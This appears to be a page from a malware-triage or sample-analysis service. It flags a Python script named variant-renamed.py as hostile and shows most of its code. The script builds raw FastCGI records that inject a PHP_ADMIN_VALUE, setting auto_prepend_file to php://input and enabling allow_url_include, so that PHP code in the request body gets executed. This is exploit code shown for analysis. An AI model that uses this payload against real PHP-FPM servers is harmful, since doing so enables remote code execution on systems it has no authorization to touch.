Hostile 100% python Download

variant-renamed.py

Crafts malicious FastCGI payload

FastCGI payload enables PHP execution from the request bodyPHP request-body prepend directive
SHA-2562d9b673967b1c10dea3e4199a45fcd851b8421b549134b2890fc8b354462dc6f

Also flagged by https://www.bleepingcomputer.com/feed/ (PHP security updates fix 18 flaws, including critical RCE bugs).

Evidence

PHP request-body prepend directive lines 1–24
1import struct
2import sys
3
4# Reconstructed parameter-bearing FastCGI fragment; no delivery or heap assumptions.
5def record(kind, body):
6 return struct.pack('!BBHHBB', 1, kind, 1, len(body), 0, 0) + body
7
8def nv(name, value):
⋯4 lines
13
14environment = {
15 'SCRIPT_FILENAME': '/opt/site/public/front.php',
16 'REQUEST_METHOD': 'POST',
17 'REMOTE_ADDR': '127.0.0.1',
18 'PHP_ADMIN_VALUE': 'auto_prepend_file = "php://input"\nallow_url_include = on',
19}
20begin = struct.pack('!HB5x', 1, 1)
21message = record(1, begin) + record(4, b''.join(nv(k, v) for k, v in environment.items()))
22message += record(4, b'') + record(5, b'<?php echo 1; ?>') + record(5, b'')
23if __name__ == '__main__':
24 sys.stdout.buffer.write(message)

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.